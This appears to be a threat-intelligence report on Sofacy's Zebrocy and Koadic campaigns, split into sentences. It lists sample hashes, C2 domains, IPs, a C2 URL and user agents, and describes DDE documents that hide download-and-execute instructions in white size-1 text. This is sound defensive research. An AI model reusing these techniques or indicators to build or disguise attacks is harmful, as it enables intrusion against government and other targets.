The targeted individuals did not follow any significant pattern , and the email addresses were found easily using web search engines .


This is a stark contrast with other attacks commonly associated with the Sofacy group where generally no more than a handful of victims are targeted within a single organization in a focus-fire style of attack .


In addition to the large number of Zebrocy attacks we discovered , we also observed instances of the Sofacy group leveraging the Dynamic Data Exchange ( DDE ) exploit technique previously documented by McAfee .


The instances we observed , however , used the DDE exploit to deliver different payloads than what was observed previously .


In one instance the DDE attack was used to deliver and install Zebrocy .


In another instance , the DDE attack was used to deliver an open-source penetration testing toolkit called Koadic .


The Sofacy group has leveraged open source or freely available tools and exploits in the past but this is the first time that Unit 42 has observed them leveraging the Koadic toolkit .


In our February report , we discovered the Sofacy group using Microsoft Office documents with malicious macros to deliver the SofacyCarberp payload to multiple government entities .


In that report , we documented our observation that the Sofacy group appeared to use conventional obfuscation techniques to mask their infrastructure attribution by using random registrant and service provider information for each of their attacks .


In particular , we noted that the Sofacy group deployed a webpage on each of the domains .


This is odd because attackers almost never set up an actual webpage on adversary C2 infrastructure .


Even stranger , each webpage contained the same content within the body .


Since that report , we continued our research into this oddity .


Using this artifact , we were able to pivot and discover another attack campaign using the DealersChoice exploit kit with similar victimology to what we saw in February .


Continuing to use this artifact , we discovered another domain with the same content body , supservermgr.com .


This domain was registered on December 20 , 2017 and within a few days was resolving to 92.222.136.105 , which belonged to a well-known VPS provider often used by the Sofacy group .


Unfortunately , at the time of collection , the C2 domain had been sinkholed by a third party .


Based on dynamic and static analysis of the malware sample associated with the supservermgr.com domain however , we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings .


First , we determined the sample we collected , d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc was attempting to communicate to its C2 at http://supservermgr.com/sys/upd/pageupd.php to retrieve a Zebrocy AutoIT downloader .


Because the domain had been sinkholed , this activity could not be completed .


Using AutoFocus , we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent .


This led us to additional infrastructure for Zebrocy at 185.25.51.198 and 185.25.50.93 .


At this point we had collected nearly thirty samples of Zebrocy in relation to the original sample and its associated C2 domain .


Additional pivoting based on artifacts unique to this malware family expanded our dataset to hundreds of samples used over the last several years .


Most of the additional samples were the Delphi and AutoIT variants as reported by ESET .


However , several of the collected samples were a C++ variant of the Zebrocy downloader tool .


In addition , we discovered evidence of a completely different payload in Koadic being delivered as well .


Also , we found the IP address 185.25.50.93 hosting C2 services for a Delphi backdoor that ESET ’s report states is the final stage payload for these attacks .


Please note this is not a comprehensive chart of all Zebrocy and Koadic samples we were able to collect .


Only samples mentioned or relevant to the relational analysis have been included .


From the 185.25.50.93 C2 IP , we discovered another hard-coded user agent being used by Zebrocy :


Mozilla ( Windows NT 6.1 ; WOW64 ) WinHttp/1.6.3.8 ( WinHTTP/5.1 ) like Gecko .


We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation .


Pivoting off of this artifact provided us additional Zebrocy samples .


One sample in particular , cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df used yet another unique user agent string in combination with the previous user agent for its C2 : Mozilla v5.1 ( Windows NT 6.1 ; rv : 6.0.1 ) Gecko Firefox .


A malware sample using two separate unique user agent strings is uncommon .


A closer examination of the tool revealed the second user agent string was from a secondary payload that was retrieved by the cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df sample .


Pivoting from the Mozilla v5.1 user agent revealed over forty additional Zebrocy samples , with several again targeting the same Central Asian nation .


Two samples specifically , 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 and 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 provided additional artifacts we were able to pivot from to discover weaponized documents to deliver Zebrocy as well as a Koadic .


Examining the use of the unique user agents ’ strings over time shows that while previously only the Mozilla user agent was in use , since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications .


The two weaponized documents we discovered leveraging DDE were of particular interest due to victimology and a change in tactics .


While examining 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 , we were able to pivot from its C2


220.158.216.127 to gather additional Zebrocy samples as well as a weaponized document .


This document 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 appears to have been targeting a North American government organization dealing with foreign affairs .


It leveraged DDE to retrieve and install a payload onto the victim host .


A decoy document is deployed in this attack , with the contents purporting be a publicly available document from the United Nations regarding the Republic of Uzbekistan .


The creator of the weaponized document appended their DDE instructions to the end of the document after all of the decoy contents .


When the document is opened in Word , the instructions are not immediately visible , as Word does not display these fields contents by default .


As you can see in the following screenshot , simply attempting to highlight the lines in which the DDE instructions reside does not display them .


Enabling the “ Toggle Field Codes ” feature reveals the DDE instructions to us and shows that the author had set instructions to size 1 font and with a white coloring .


The use of a white font coloring to hide contents within a weaponized document is a technique we had previously reported being used by the Sofacy group in a malicious macro attack .


The DDE instructions attempt to run the following the following command on the victim host , which attempts to download and execute a payload from a remote server .


During our analysis , we observed this DDE downloading and executing a Zebrocy AutoIt downloader f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 , configured to attempt to download an additional payload from 220.158.216.127 .


The DDE instructions also included another command that it did not run , which suggests it is an artifact of a prior version of this delivery document .


The following shows this unused command , which exposed an additional server within Sofacy ’s infrastructure would download and execute an encoded PowerShell script from 92.114.92.102 .


The unused command above appears to be related to previous attacks , specifically attacks that occurred in November 2017 as discussed by McAfee and ESET .


The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp , which differs from the Zebrocy downloader delivered in the February 2018 attacks . 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 was another Zebrocy sample we were able to pivot from by gathering additional samples connecting to its C2 86.106.131.177 .


The additional samples targeted the same large Central Asian nation state as previously mentioned but more interestingly , one of the samples was a weaponized document also leveraging DDE and containing a non-Zebrocy payload .


The payload turned out to be an open source penetration test toolkit called Koadic .


It is a toolkit similar to Metasploit or PowerShell Empire and is freely available to anyone on Github .


The RTF document 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff was very small in size at 264 bytes .


The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server , save it as an executable file on the system and then execute the payload .


The Sofacy group continues their targeted attack campaigns in 2018 .


As mentioned in this blog , Sofacy is carrying out parallel campaigns to attack similar targets around the world but with different toolsets .


The Zebrocy tool associated with this current strain of attacks is constructed in several different forms based on the programming language the developer chose to create the tool .


We have observed Delphi , AutoIt , and C++ variants of Zebrocy , all of which are related not only in their functionality , but also at times by chaining the variants together in a single attack .


These attacks are still largely perpetrated via spear phishing campaigns , whether via simple executable attachments in hopes that a victim will launch the file to using a previously observed DDE exploitation technique .